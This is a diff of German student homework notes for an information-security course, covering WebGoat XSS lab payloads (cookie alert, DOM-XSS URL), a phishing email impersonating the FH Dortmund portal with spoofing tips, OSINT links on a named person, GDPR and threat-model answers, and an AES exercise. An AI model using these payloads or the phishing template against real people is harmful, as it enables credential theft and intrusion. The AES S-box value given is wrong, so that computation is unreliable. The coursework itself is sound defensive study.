+
+## Aufgaben
+
+### a
+Bei einer SQL-Injection nutzt der Angreifer Sicherheitslücken in Webanwendungen aus, die keine ausreichenden Eingabevalidierungen oder Escaping-Mechanismen implementieren. Dadurch kann der Angreifer die Kontrolle über die SQL-Anfragen erlangen, die von der Anwendung an die Datenbank gesendet werden. Das kann zu unerlaubtem Zugriff auf vertrauliche Daten, Manipulation von Daten, Verlust von Datenintegrität oder sogar Systemkompromittierung führen.
+
+### b
+Um SQL-Injection-Angriffe zu verhindern, können Entwickler verschiedene Maßnahmen ergreifen.
+1. Prepared Statements (Parameterisierte Abfragen): 
+	- vorab kompiliert und die Platzhalter werden anschließend durch die tatsächlichen Werte ersetzt. 
+2. Stored Procedures: 
+	- im Datenbank-System gespeicherte, vorkompilierte Anweisungen, die bei Bedarf aufgerufen werden können. 
+3. Escaping von Benutzereingaben: 
+	- Benutzereingaben werden alle potenziell gefährlichen Zeichen in der Eingabe neutralisiert, bevor sie in die SQL-Abfrage eingefügt werden.
+4. Eingabevalidierung und Whitelisting: 
+	- Eingabevalidierung hilft dabei, unerwünschte Eingaben zu erkennen und abzulehnen. 
+	- Whitelisting hingegen erlaubt nur bestimmte Eingaben und blockiert alles andere.
+5. Verwendung von Least Privilege-Prinzip: 
+	- Benutzerkonten und Anwendungen erhalten nur die minimalen Berechtigungen , die sie für die Durchführung ihrer Aufgaben benötigen. 
+6. Fehlerbehandlung und -logging: 
+	 - Durch eine sorgfältige Fehlerbehandlung und -logging können Entwickler verdächtige Aktivitäten erkennen und darauf reagieren. 
+
+### c
+Das Prinzip des Least Privilege (Minimalberechtigung) ist ein grundlegendes Sicherheitskonzept, bei dem Benutzer und Anwendungen nur die minimal notwendigen Berechtigungen erhalten, um ihre Aufgaben auszuführen. Die Idee dahinter ist, die potenzielle Angriffsfläche zu verringern und die Auswirkungen eines Sicherheitsvorfalls zu begrenzen. Im Kontext von SQL-Injections bedeutet dies, dass die Berechtigungen für Datenbankzugriffe eingeschränkt werden, um die Wahrscheinlichkeit eines erfolgreichen Angriffs zu reduzieren.
+
+Einige der Least Privilege-Maßnahmen, die im Zusammenhang mit SQL-Injections angewendet werden können, sind:
+- Eingeschränkte Benutzerkonten
+- Trennung von Aufgaben
+- Objektberechtigungen
+- Einsatz von Views
+- Einschränkung der SQL-Anweisungen
+
+
+# 2.3
+
+## Cross Site Scripting
+
+### 1
+alert(document.cookie)
+- JSESSIONID=WAoLCuHqYVKBPATEYnT23tGJaJPRHR9xRbDfnd2C
+
+### 2
+```
+<script>alert()</script>
+```
+
+### 3 
+
+goatApp.js
+```js
+/*
+ * This JavaScript is used to load a Backbone router which is defined by GoatRouter.js
+ */
+
+define(['jquery',
+        'underscore',
+        'backbone',
+        'polyglot',
+        'goatApp/view/GoatRouter',
+        'goatApp/support/goatAsyncErrorHandler'],
+    function ($,
+         _,
+         Backbone,
+         Polyglot,
+         Router,
+         asyncErrorHandler) {
+        'use strict'
+        return {
+            initApp: function () {
+                var locale = localStorage.getItem('locale') || 'en';
+                $.getJSON('service/labels.mvc', function(data) {
+                    window.polyglot = new Polyglot({phrases: data});//i18n polyglot labels
+                    asyncErrorHandler.init();
+                    console.log('about to create app router');//default js
+                    var goatRouter = new Router();//backbone router
+                });//jquery
+
+            }
+        };
+    });
+```
+
+- goatApp/view/GoatRouter sieht wichtig aus
+
+goatApp/view/GoatRouter
+```js
+...
+ var GoatAppRouter = Backbone.Router.extend({
+
+         routes: {
+            'welcome': 'welcomeRoute',
+            'lesson/:name': 'lessonRoute',
+            'lesson/:name/:pageNum': 'lessonPageRoute',
+            'test/:param': 'testRoute',
+            'reportCard': 'reportCard'
+        },
+...
+```
+- test/:param
+	- start.mvc#test/
+
+### 4 
+```
+http://127.0.0.1:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();
+```
+
+ ![[2023-04-17_15-55.png]]
+- sogt dafür, dass die Seite in der Console den output von webgoat.customjs.phoneHome(); ausführt
+- Output:
+```
+phone home said {"lessonCompleted":true,"feedback":"Congratulations. You have successfully completed the assignment.","output":"phoneHome Response is -1941012131","assignment":"DOMCrossSiteScripting","attemptWasMade":true}
+```
+- Antwort: -1941012131
+
+### 5
+
+1. Are trusted websites immune to XSS attacks?
+	- Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.
+2. When do XSS attacks occur?
+	- Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.
+3. What are Stored XSS attacks?
+	- Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.
+4. What are Reflected XSS attacks?
+	- Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.
+5. Is JavaScript the only way to perform XSS attacks?
+	- Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.
+
+## Aufgaben
+### a
+- XSS eine Art von Sicherheitslücke in Webanwendungen, die es einem Angreifer ermöglicht, bösartige Skripte in die Inhalte einer anderen Benutzerseite einzufügen. XSS-Angriffe treten auf, wenn eine Webanwendung Benutzereingaben ohne ausreichende Validierung in HTML-Code einfügt.
+### b
+- XSS Schwachstellen sind vorallem in Formularen zu finden wenn die Eingaben auf der Website angezeigt werden z.B. Kommentarfunktion oder Blogs
+ 
+### c
+- Zugriff auf vertrauliche Informationen: Ein Angreifer kann durch XSS-Angriffe auf vertrauliche Informationen wie Benutzerdaten, Passwörter, Kreditkarteninformationen, Cookies und Sitzungstoken zugreifen.
+- Identitätsdiebstahl: Durch XSS-Angriffe kann ein Angreifer die Kontrolle über die Sitzung eines Benutzers erlangen und sich als dieser ausgeben, um sensible Aktionen wie Geldtransfers oder den Zugriff auf geschützte Ressourcen durchzuführen.
+- Verbreitung von Malware: Ein Angreifer kann schädlichen Code in eine Website einschleusen, der dann von ahnungslosen Benutzern heruntergeladen und ausgeführt wird, was zur Installation von Malware auf ihren Geräten führen kann.
+ 
+### d
+- Reflected XSS:
+Reflektiertes XSS tritt auf, wenn der Angreifer eine URL oder einen Link erstellt, der schädlichen JavaScript-Code enthält. Wenn ein Benutzer diesen Link anklickt, wird der Schadcode in die Benutzeranfrage an die Webanwendung eingefügt und anschließend vom Server zurück an den Browser gesendet, wo er ausgeführt wird. Da dieser Angriff direkt auf den Benutzer abzielt, ist er häufig in Phishing-E-Mails oder Social-Engineering-Angriffen zu finden.
+ 
+- Persistiend XSS:
+Im Gegensatz zum reflcted XSS wird der schädliche Code in diesem Fall auf dem Webserver gespeichert, z. B. in einem Kommentarbereich, einer Datenbank oder einem Forum. Wenn andere Benutzer die infizierte Seite besuchen, wird der schädliche Code in deren Browser ausgeführt. Persistierendes XSS ist gefährlicher als reflektiertes XSS, da es mehrere Benutzer gleichzeitig betreffen kann und nicht auf Social-Engineering-Angriffe angewiesen ist.
+ 
+- DOM-based XSS:
+DOM-based XSS findet auf der Client-Seite (im Browser) statt und resultiert aus einer unsicheren Manipulation des Document Object Model (DOM). Der Angreifer injiziert schädlichen Code in die Seite, der dann im Browser des Benutzers ausgeführt wird, ohne dass die Webanwendung selbst betroffen ist. Das bedeutet, dass der Angriff nicht vom Webserver, sondern von der Client-Seite kommt, was die Erkennung und Vorbeugung schwieriger macht.
+ 
+### e
+ 
+- Input-Validierung:
+    - Überprüfen von Datenformaten: Sicherstellen dass Daten wie E-Mail-Adressen, Telefonnummern und Postleitzahlen im richtigen Format vorliegen.
+    
+    - Vermeiden von Sonderzeichen: Filtern spezieller Zeichen wie Anführungszeichen und Schrägstriche.
+    
+    - Verwendung von Whitelists: Whitelists von erwarteten Werten, um sicherzustellen, dass nur gültige Daten in der Anwendung akzeptiert werden.
+ 
+- Output-Encoding:
+    - HTML-Entitäten: HTML-Entitäten werden verwendet, um Zeichen wie "<" und ">" in ihrer kodierten Form "<" und ">" anzuzeigen, anstatt sie als Teil des HTML-Codes zu interpretieren. 
+    
+    - JavaScript-Encoding: JavaScript-Encoding wird verwendet, um JavaScript-Code zu codieren, um Skript-Injektions-Angriffe zu verhindern. Zum Beispiel kann "alert('Hello World!')" als "alert(\u0027Hello World!\u0027)" codiert werden.
+    
+    - URL-Encoding: URL-Encoding wird verwendet, um spezielle Zeichen in URLs zu kodieren, um sie sicher anzuzeigen. Zum Beispiel wird ein Leerzeichen in "%20" kodiert.
+    
+    - CSS-Encoding: CSS-Encoding wird verwendet, um CSS-Code zu codieren, um Skript-Injektions-Angriffe zu verhindern. Zum Beispiel kann "background-image: url('image.jpg')" als "background-image: url(\27 image.jpg\27 )" codiert werden.
+    
+    - Sicherheits-Header: Es können Sicherheits-Header wie Content-Security-Policy (CSP) oder X-XSS-Protection verwendet werden, um sicherzustellen, dass nur vertrauenswürdige Ressourcen auf einer Seite geladen werden und um das Risiko von XSS-Angriffen zu verringern.
+ 
+- Content-Security-Policy: ein HTTP-Antwortheader, den Webentwickler und Administratoren verwenden können, um die Sicherheit einer Webseite zu erhöhen. Mit CSP können sie festlegen, welche Inhalte (wie Skripte, Bilder, Stylesheets usw.) von welchen Quellen auf einer Webseite geladen werden dürfen.
+ 
+- HTTP-Only-Cookies: eine Sicherheitsfunktion, die bei der Verwendung von Cookies im Web eingesetzt wird. Durch das Setzen des HttpOnly-Flags in einem Cookie wird das Cookie so konfiguriert, dass es nur vom Server und nicht von clientseitigen Skripten, wie beispielsweise JavaScript, gelesen werden kann.
+ 
+ 
+- Bibliotheken etc. Aktualisieren

SS23/Informationssicherheit/Ueb3/Ueb3.md

@@ -0,0 +1,132 @@
+# 3.1
+## a 
+- Ein disaster
+- Alles nur theoretisch gelöst
+- Problemfelder:
+	- Scams
+	- Authentisierung
+	- Schadsoftware
+- Schlechtes Risikomanagement
+	- TI perimeter gut
+	- Persoanl schlecht aufgeklärt
+
+## b
+- Chaos-Hacking-Gruppe
+	- Versemdem E-Mail mit erpressung und aufforderung zur Zahlung
+- Password Scams
+	- Sagen sie haben Passwörter und Accounts und wollen Geldtransfers
+- CEO-Fraud
+	- Geben sich als Boss aus und sagen Angestellten, sie sollen eine Rechnug möglichst dringend Zahlen
+	- arbeitet mit Autorität, Vertrauen, Eile und Druck
+- Phishing: Economy of scale
+	- kleine Wahrscheinlichkeit
+	- große Anzahl an versuchen
+- Spearphishing
+	- Man sendet an eine gezielte Person
+- Ransomware
+	- Daten werden verschlüsselt und als Geisel gehalten
+
+
+## c
+- Autorität
+- Vertrauen
+- Eile
+- Druck
+- Gewohnheit
+- Psychologisch
+	- System 1
+		- schell 
+		- intuitiv
+		- bei Angst eingesetzt
+		- Ziel von Angreifern
+	- System 2 
+		- dominiert von Vernunft
+- Organisationspsychologie
+	- Schlechtes Risikomanagement
+
+## d
+- Resistenz
+	- nicht klicken
+- Meldung 
+	- IT warnen
+- Test Phishing
+	- guter Leneffekt
+- Emails als extern makieren
+- Passwortwechsel nicht übers web
+
+
+# 3.2
+| Angriffstechnik        | Menschliche Eigenschaft(en)                                 |
+|------------------------|-------------------------------------------------------------|
+| Phishing               | Neugier, Angst, Vertrauen, Unwissenheit                     |
+| Spam                   | Neugier, Gier, Vertrauen, Unwissenheit                      |
+| Pretexting             | Vertrauen, Hilfsbereitschaft, Empathie, Autoritätsgläubigkeit |
+| Baiting                | Neugier, Gier, Hilfsbereitschaft                            |
+| Tailgating             | Vertrauen, Hilfsbereitschaft, Autoritätsgläubigkeit        |
+| Watering Hole-Angriff  | Neugier, Vertrauen, Gewohnheit                              |
+| Pharming               | Vertrauen, Unwissenheit                                     |
+| Vishing (Voice Phishing)| Angst, Vertrauen, Autoritätsgläubigkeit, Unwissenheit      |
+| Smishing (SMS Phishing)| Neugier, Angst, Vertrauen, Unwissenheit                     |
+
+# 3.3
+## a
+```
+Betreff: Dringende Sicherheitswarnung: Kontoüberprüfung erforderlich - Fachhochschule Dortmund Studienportal
+Sehr geehrte Benutzerin, sehr geehrter Benutzer,
+Unsere Systeme haben verdächtige Aktivitäten auf Ihrem Studienportal-Konto der Fachhochschule Dortmund ([https://portal.fh-dortmund.de/](https://portal.fh-dortmund.de/ "https://portal.fh-dortmund.de/")) festgestellt. Um die Sicherheit Ihres Kontos zu gewährleisten und möglichen Missbrauch zu verhindern, bitten wir Sie, Ihre Anmeldedaten so schnell wie möglich zu bestätigen.
+Bitte klicken Sie auf den folgenden Link, um Ihre E-Mail-Adresse und Ihr Passwort zu überprüfen:
+[LINK ZUR PHISHING-SEITE]
+Nachdem Sie Ihre Daten bestätigt haben, wird Ihr Konto automatisch gesichert und Sie können das Studienportal weiterhin nutzen. Sollten Sie diesen Vorgang nicht innerhalb von 48 Stunden abschließen, müssen wir Ihr Konto vorübergehend sperren, um Ihre persönlichen Daten und die Integrität unserer Systeme zu schützen.
+Wir danken Ihnen für Ihr Verständnis und Ihre Zusammenarbeit.
+Mit freundlichen Grüßen,
+Ihr Fachhochschule Dortmund Sicherheitsteam
+```
+
+Um die Herkunft einer Phishing-E-Mail realistisch wirken zu lassen, könnten folgende Maßnahmen ergriffen werden:
+
+1. **Absenderadresse fälschen**: Die E-Mail-Adresse des Absenders könnte so gestaltet werden, dass sie einer offiziellen E-Mail-Adresse der Fachhochschule Dortmund ähnelt, z.B. "support@fh-dortmund.de" oder "noreply@portal-fhdortmund.de".
+2. **Authentisches Design**: Die Phishing-E-Mail sollte das Logo, die Farben und die Schriftarten der Fachhochschule Dortmund verwenden, um den Eindruck einer legitimen E-Mail zu erwecken.
+3. **Verwendung von persönlichen Informationen**: Die E-Mail könnte persönliche Informationen über den Empfänger enthalten, z.B. Name und Matrikelnummer, um Vertrauen aufzubauen.
+4. **Ansprechender Betreff**: Ein Betreff wie "Wichtige Sicherheitsinformationen für Ihr Studienportal-Konto" könnte die Aufmerksamkeit des Empfängers auf sich ziehen.
+5. **Glaubwürdiger Inhalt**: Der Text der E-Mail sollte professionell verfasst sein und eine plausible Geschichte erzählen, z.B. dass ein verdächtiger Loginversuch festgestellt wurde und die Benutzer ihre Anmeldedaten bestätigen müssen, um ihr Konto zu schützen.
+
+Mögliche Probleme:
+
+- Erfahrene Benutzer könnten die falsche Absenderadresse oder andere Anzeichen einer gefälschten E-Mail erkennen.
+- Technische Sicherheitsmaßnahmen könnten die Zustellung der Phishing-E-Mail verhindern oder sie als Spam kennzeichnen.
+
+## b
+Mechanismen zur Abwehr von Phishing bzw. Spam, die den Erfolg des fiktiven Angriffs gefährden könnten:
+
+1. **Spamfilter**: E-Mail-Systeme verfügen über integrierte Spamfilter, die verdächtige E-Mails herausfiltern und in einen Spam-Ordner verschieben.
+2. **Domainbasierte Nachrichtenauthentifizierung, Berichterstattung und Konformität (DMARC)**: DMARC ist eine E-Mail-Authentifizierungsmethode, die verhindert, dass gefälschte Absenderadressen verwendet werden.
+3. **Sicherheitsbewusstseinstraining**: Wenn Benutzer geschult sind, Phishing-E-Mails zu erkennen, ist die Wahrscheinlichkeit geringer, dass sie auf betrügerische Links klicken oder ihre Anmeldedaten preisgeben.
+
+## c
+E-Mail-Adresse und zugehöriges Passwort sind aus folgenden Gründen lohnenswerte Angriffsziele:
+- **Zugriff auf persönliche Informationen**: Angreifer können E-Mails und Anhänge einsehen, die persönliche Informationen wie Adressen, Telefonnummern oder Geburtsdaten enthalten.
+- **Identitätsdiebstahl**: Mit diesen Informationen können Angreifer die Identität des Opfers annehmen und z.B. Kredite aufnehmen oder Online-Käufe tätigen.
+- **Kontozugriff**: Viele Menschen verwenden dasselbe Passwort für mehrere Konten. Ein erfolgreiches Phishing kann dazu führen, dass Angreifer auch Zugriff auf andere Online-Konten erhalten, z.B. Soziale Medien, Online-Banking oder Online-Shopping-Konten.
+- **Weiterverkauf**: Gestohlene Anmeldedaten können auf dem Schwarzmarkt verkauft werden, wo sie von anderen Cyberkriminellen für verschiedene Zwecke verwendet werden können, z.B. für weitere Phishing-Angriffe, Betrug oder Spam.
+- **Spear-Phishing**: Mit den Informationen aus dem erfolgreich gekaperten E-Mail-Konto können Angreifer gezielte Spear-Phishing-Angriffe auf Freunde, Familie oder Kollegen des Opfers durchführen, indem sie persönliche Informationen verwenden, um noch überzeugendere Phishing-E-Mails zu erstellen.
+- **Ransomware**: Angreifer könnten auch Ransomware in das E-Mail-Konto einschleusen, um wichtige Dateien und Dokumente zu verschlüsseln und Lösegeld vom Opfer zu verlangen, um den Zugriff wiederherzustellen.
+
+Um die Sicherheit der Benutzer zu gewährleisten, sollten die Fachhochschule Dortmund und andere Organisationen Sicherheitsmaßnahmen ergreifen, wie z.B. regelmäßige Sicherheitsbewusstseinsschulungen, Zwei-Faktor-Authentifizierung und Sicherheitsrichtlinien für Passwörter. Diese Maßnahmen können dazu beitragen, die Wahrscheinlichkeit von erfolgreichen Phishing-Angriffen zu reduzieren.
+
+# 3.4
+## a/b
+## [Jordi Bolz, TUS Ampen - Leichtathletik-Datenbank.DE](https://www.leichtathletik-datenbank.de/vereine/deutscher-leichtathletik-verband/westdeutschland/fussball-und-leichtathletik-verband-westfalen/westfalen-mitte/soest/tus-ampen/athleten/48687-jordi-bolz)
+
+## [Bilder zur Stadtmeisterschaft - LAZ) Soest](http://www.lazsoest.de/index.php/item/201-erfolgreiche-stadtmeisterschaften)
+
+## [2. Soester Hochsprung-Meeting 2014, LAZ Soest (14.09.2014 ...](https://www.leichtathletik-datenbank.de/wettkaempfe/deutscher-leichtathletik-verband/westdeutschland/fussball-und-leichtathletik-verband-westfalen/westfalen-mitte/soest/laz-soest/wk/2-soester-hochsprung-meeting-2014)
+- Sport Events
+
+## c
+- Einladung zu Sport-Events (vor 10 Jahren)
+
+# 3.5
+
+
+
+

SS23/Informationssicherheit/Ueb4/Ueb4.md

@@ -0,0 +1,144 @@
+# 4.1
+
+## a)
+Der Paragraph 202c bezieht sich auf unter anderem auf 202a der besagt dass das beschaffen der Daten unbefugt sein muss dies ist bei einem Auftrag nicht der Fall (Wichtig ist diesen Auftrag schriftlich Festzuhalten).
+
+## b) 
+- Vage Formulierung: Gesetz kann legitime Sicherheitsforscher und IT-Experten bestrafen. (Fall CDU und CCC)
+- Einschränkung der Fähigkeiten von Sicherheitsexperten: Behinderung der Aufdeckung und Behebung von Schwachstellen.
+- Schwächung der IT-Sicherheit insgesamt: Gesetz behindert Entwicklung und Einsatz legitimer Sicherheitswerkzeuge.
+- Behinderung des Schutzes von Computersystemen und Netzwerken: Gesetz kann Anwendung sinnvoller Sicherheitsmaßnahmen erschweren.
+
+# 4.2
+## a)
+Edward Snowden und die Offenlegung von Informationen über Facebook und andere Branchenriesen:
+   - Snowden ist ein ehemaliger Mitarbeiter der CIA und NSA, der geheime Informationen über die Überwachungspraktiken dieser Agenturen öffentlich gemacht hat.
+   - Seine Enthüllungen haben eine globale Debatte über Datenschutz, Überwachung und die Rolle der Geheimdienste ausgelöst.
+   - Bezüglich Facebook und anderen Technologieunternehmen hat Snowden die Verbindungen zwischen diesen Unternehmen und den Geheimdiensten offenbart.
+   - Durch Programme wie PRISM hatte die NSA direkten Zugriff auf die Server dieser Unternehmen.
+   - Persönliche Daten, die von diesen Unternehmen gesammelt wurden, wurden potenziell für Überwachungszwecke genutzt.
+
+## b) 
+Ungültigkeitserklärung des Safe Harbor-Abkommens:
+   - Das Safe Harbor-Abkommen wurde vom Europäischen Gerichtshof für ungültig erklärt.
+   - Der Hauptgrund war, dass es den Datenschutz der europäischen Bürger nicht ausreichend schützte.
+   - Es gab Bedenken hinsichtlich der massiven Überwachung durch die US-Regierung und das Fehlen ausreichender Rechtsmittel für EU-Bürger gegen Missbrauch ihrer Daten.
+   - Der Gerichtshof entschied, dass die allgemeine und undifferenzierte Sammlung von Daten nicht mit den Datenschutzgrundsätzen der EU vereinbar ist.
+
+## c)
+Maximilian Schrems' Kritik am US-EU Privacy Shield:
+   - Schrems hält das Abkommen für eine Neuauflage des alten Safe Harbor-Abkommens, das bereits für ungültig erklärt wurde.
+   - Er kritisiert, dass das Privacy Shield nicht den gleichen Datenschutzstandard bietet wie das EU-Recht, insbesondere in Bezug auf das Prinzip der "wesentlichen Äquivalenz".
+   - Er bemängelt das Fehlen wirksamer Rechtsmittel für EU-Bürger, die glauben, dass ihre Daten missbraucht wurden.
+   - Schrems kritisiert auch, dass das Abkommen die Möglichkeit der massenhaften Überwachung durch die US-Regierung nicht ausschließt.
+
+# 4.3
+
+## a) Gestohlener USB-Stick mit verschlüsselten, personenbezogenen Daten
+
+- Ja, es ist eine Verletzung personenbezogener Daten gemäß Art. 4 Nr. 12 DSGVO, da die Daten entwendet wurden.
+- Die Informationspflicht kann abhängig von der Verschlüsselungsstärke und der Wahrscheinlichkeit eines unbefugten Zugriffs entfallen.
+- Meldepflichtig gemäß Art. 33 DSGVO: Ja, innerhalb von 72 Stunden nach Kenntnisnahme der Verletzung.
+
+## b)  Mehrminütiger Stromausfall, dadurch zwischenzeitlich kein Zugriff auf Daten möglich
+
+- Nein, da keine Verletzung personenbezogener Daten vorliegt.
+- Keine Informationspflicht.
+- Keine Meldepflicht.
+
+## c)  Cyber-Angriff auf Krankenhaus, dadurch für 30 Minuten kein Zugriff auf Patientendaten
+
+- Ja, wenn die Integrität oder Verfügbarkeit der Daten beeinträchtigt wurde.
+- Informationspflicht gemäß Art. 34 Abs. 1 DSGVO: Ja, wenn die Verletzung ein hohes Risiko für die Rechte und Freiheiten der betroffenen Personen darstellt.
+- Meldepflichtig gemäß Art. 33 DSGVO: Ja, innerhalb von 72 Stunden nach Kenntnisnahme der Verletzung.
+
+## d) Ransomware-Angriff, der Kundendaten verschlüsselt
+
+- Ja, da die Verfügbarkeit der Daten beeinträchtigt ist.
+- Informationspflicht gemäß Art. 34 Abs. 1 DSGVO: Ja, wenn die Verletzung ein hohes Risiko für die Rechte und Freiheiten der betroffenen Personen darstellt.
+- Meldepflichtig gemäß Art. 33 DSGVO: Ja, innerhalb von 72 Stunden nach Kenntnisnahme der Verletzung.
+
+## e) Kontoauszug per Briefpost an falschen Kunden verschickt
+
+- Ja, da es zu einer unbefugten Offenlegung personenbezogener Daten gekommen ist.
+- Informationspflicht gemäß Art. 34 Abs. 1 DSGVO: Ja, wenn die Verletzung ein hohes Risiko für die Rechte und Freiheiten der betroffenen Personen darstellt.
+- Meldepflichtig gemäß Art. 33 DSGVO: Ja, innerhalb von 72 Stunden nach Kenntnisnahme der Verletzung.
+
+## f) Werbe-E-Mail mit offenem Mailverteiler (CC statt BCC)
+
+- Ja, da es zu einer unbefugten Offenlegung personenbezogener Daten gekommen ist.
+- Informationspflicht gemäß Art. 34 Abs. 1 DSGVO: Ja, wenn die Verletzung ein hohes Risiko für die Rechte und Freiheiten der betroffenen Personen darstellt.
+- Meldepflichtig gemäß Art. 33 DSGVO: Ja, innerhalb von 72 Stunden nach Kenntnisnahme der Verletzung.
+
+# 4.4
+a) Bedrohungen und mögliche Konsequenzen ohne Firewall:
+
+Eine Firewall ist ein wesentliches Sicherheitselement, das ein Netzwerk vor unerwünschten Zugriffen und Angriffen schützt. Ohne eine Firewall wäre ein Netzwerk (LAN) offen für verschiedene Bedrohungen, darunter:
+
+- Unautorisierte Zugriffe: Ohne eine Firewall könnten Hacker oder andere böswillige Akteure leicht auf das Netzwerk zugreifen und vertrauliche Informationen stehlen oder Schaden anrichten.
+- Malware-Infektionen: Ohne eine Firewall könnten Malware, Viren, Würmer und andere schädliche Software leicht in das Netzwerk eindringen und Daten beschädigen oder stehlen.
+- Denial-of-Service-Angriffe: Hacker könnten das Netzwerk mit übermäßigem Datenverkehr überfluten, was zu einem Ausfall des Netzwerks führen könnte.
+- Datenlecks: Ohne eine Firewall könnten vertrauliche Daten leicht aus dem Netzwerk herausfließen.
+
+(i) Assets:
+
+Die Assets, die durch den Kauf einer Firewall geschützt werden könnten, umfassen:
+
+- Vertrauliche Daten: Dies können Kundendaten, Finanzinformationen, geistiges Eigentum, Mitarbeiterdaten usw. sein. Diese Daten sind wertvoll, weil ihr Verlust oder ihre Kompromittierung zu finanziellen Verlusten, Rechtsstreitigkeiten und Reputationsschäden führen kann.
+- Netzwerkinfrastruktur: Die Hardware und Software, die das Netzwerk bilden, sind ebenfalls wertvolle Assets. Ein Angriff könnte diese Infrastruktur beschädigen und zu teuren Ausfallzeiten und Reparaturen führen.
+- Betriebszeit: Ein gut funktionierendes Netzwerk ist für die meisten Unternehmen von entscheidender Bedeutung. Ausfallzeiten können zu Produktivitätsverlusten und entgangenen Geschäftsmöglichkeiten führen.
+
+(ii) Adverse Actions:
+
+Die Assets könnten auf verschiedene Weisen kompromittiert werden, darunter:
+
+- Datendiebstahl: Hacker könnten versuchen, auf das Netzwerk zuzugreifen und vertrauliche Daten zu stehlen.
+- Datenbeschädigung: Schädliche Software oder böswillige Akteure könnten Daten beschädigen oder zerstören.
+- Dienstunterbrechung: Durch einen Denial-of-Service-Angriff könnte das Netzwerk lahmgelegt werden.
+
+(iii) Threat Agents:
+
+Die Threat Agents könnten umfassen:
+
+- Hacker: Personen mit technischen Fähigkeiten, die versuchen, auf das Netzwerk zuzugreifen, um Daten zu stehlen oder Schaden anzurichten.
+- Malware: Schädliche Software, die entwickelt wurde, um Daten zu stehlen oder zu beschädigen.
+- Insider: Mitarbeiter oder andere Personen mit Zugang zum Netzwerk könnten absichtlich oder unbeabsichtigt Schaden anrichten.
+
+b) Organisatorische Sicherheitsrichtlinien:
+
+Die organisatorischen Sicherheitsrichtlinien könnten umfassen:
+
+- Zugriffsrichtlinien: Regeln darüber, wer Zugang zum Netzwerk hat und welche Art von Zugang sie haben.
+- Passwortrichtlinien: Anforderungen an die Stärke und Häufigkeit der Passwortänderungen.
+- Richtlinien zur Incident Response: Verfahren für den Umgang
+
+mit Sicherheitsvorfällen, einschließlich der Identifizierung, Untersuchung und Behebung von Sicherheitsverletzungen.
+- Richtlinien zur Datensicherung: Anforderungen an die Häufigkeit und Methoden der Datensicherung.
+- Richtlinien zur Netzwerküberwachung: Anforderungen an die Überwachung des Netzwerkverkehrs und die Erkennung von Anomalien.
+
+c) Notwendige Annahmen:
+
+
+- Die Benutzer des Netzwerks befolgen die Sicherheitsrichtlinien und -verfahren.
+- Die Bedrohungsakteure haben die Fähigkeit und die Absicht, das Netzwerk anzugreifen.
+- Es gibt eine ständige und wachsende Bedrohung durch Cyber-Angriffe.
+- Die Assets, die durch die Firewall geschützt werden, sind wertvoll und würden bei einem Angriff Schaden nehmen.
+
+# 4.5
+
+Die Common Criteria für Informationstechnologiesicherheitsevaluierung (CC) definiert EAL4 (Evaluation Assurance Level 4) als das Level, bei dem Methoden gegen gezielte Angriffe auf das Produkt bewertet werden. 
+
+Das Angreifermodell, das bei der Prüfung des TOE (Target of Evaluation) verwendet werden muss, basiert auf dem Konzept der "moderately sophisticated" Angreifer. Dies sind Angreifer, die über ein hohes Maß an Motivation und Ressourcen verfügen und Zugang zu detaillierten Informationen über das TOE haben.
+
+Heartbleed ist eine schwerwiegende Sicherheitslücke in der OpenSSL-Kryptographiebibliothek, die eine zu große Ausgabe von Speicher ermöglicht. Diese kann genutzt werden, um vertrauliche Informationen, einschließlich SSL-Schlüssel, Benutzernamen und Passwörtern, abzurufen.
+
+Quantitative Bewertung: Auf einer Skala von 1 bis 10 hat das National Vulnerability Database Heartbleed eine 5.0 für die Ausnutzbarkeit und eine 10.0 für die Auswirkungen bewertet, was auf ein hohes Angriffspotenzial hinweist.
+
+Qualitative Bewertung: 
+
+- Ausstattung: Da Heartbleed nur Software-Werkzeuge erfordert, ist die benötigte Ausrüstung minimal und leicht zugänglich.
+- Zeitaufwand: Die Ausnutzung von Heartbleed kann in relativ kurzer Zeit erfolgen, abhängig von der Fähigkeit des Angreifers und der Anfälligkeit des Zielsystems.
+- Fachkenntnisse: Ein Angreifer muss Kenntnisse über die Funktionsweise von OpenSSL und die spezifischen Details von Heartbleed haben.
+- Window of Opportunity: Angesichts der weit verbreiteten Verwendung von OpenSSL vor der Entdeckung von Heartbleed war das Window of Opportunity beträchtlich.
+- Zugang: Der Angriff kann remote durchgeführt werden, was die Zugangsbarriere verringert. 
+

SS23/Informationssicherheit/Ueb5/Ueb5.md

@@ -0,0 +1,79 @@
+# 5.1
+Um den Wert für das erste Byte (erste Zeile, erste Spalte) der Ausgabe des AES-Algorithmus vor der AddRoundKey-Phase am Ende der ersten Runde zu berechnen, müssen wir die Phasen des AES-Algorithmus durchlaufen. Für AES (Advanced Encryption Standard) ist die Reihenfolge der Phasen:
+
+1. SubBytes
+2. ShiftRows
+3. MixColumns
+
+Unsere gegebene Matrix ist bereits nach der AddRoundKey-Phase der ersten Runde (Whitening):
+
+1A 23 06 13
+B2 E3 17 04
+32 18 0F A4
+70 51 44 55
+
+Nun führen wir die einzelnen Schritte durch:
+
+1. **SubBytes**: Hier wird jedes Byte durch das entsprechende Byte aus der S-Box ersetzt. In unserem Fall ist nur das erste Byte 1A relevant, da wir nur das Ergebnis für das erste Byte berechnen möchten. Der entsprechende S-Box-Wert für 1A ist D4. Daher ist die Matrix nach SubBytes:
+
+D4 23 06 13
+B2 E3 17 04
+32 18 0F A4
+70 51 44 55
+
+2. **ShiftRows**: Bei dieser Operation wird die zweite Zeile um eine Position nach links verschoben, die dritte Zeile um zwei Positionen und die vierte Zeile um drei Positionen. Da wir aber nur das erste Byte berechnen, bleibt unser relevanter Wert D4 unverändert.
+
+3. **MixColumns**: Dies ist die rechenintensive Phase, in der jede Spalte mit einer festen Matrix multipliziert wird. Die Multiplikation wird im Galois-Feld durchgeführt, das in der Aufgabe als GF(28) mit dem irreduziblen Polynom x^8 + x^4 + x^3 + x + 1 angegeben ist. Wir betrachten nur die erste Spalte:
+
+D4
+B2
+32
+70
+
+Die MixColumns-Matrix ist:
+
+02 03 01 01
+01 02 03 01
+01 01 02 03
+03 01 01 02
+
+Die Multiplikation für das erste Byte wird so ausgeführt:
+
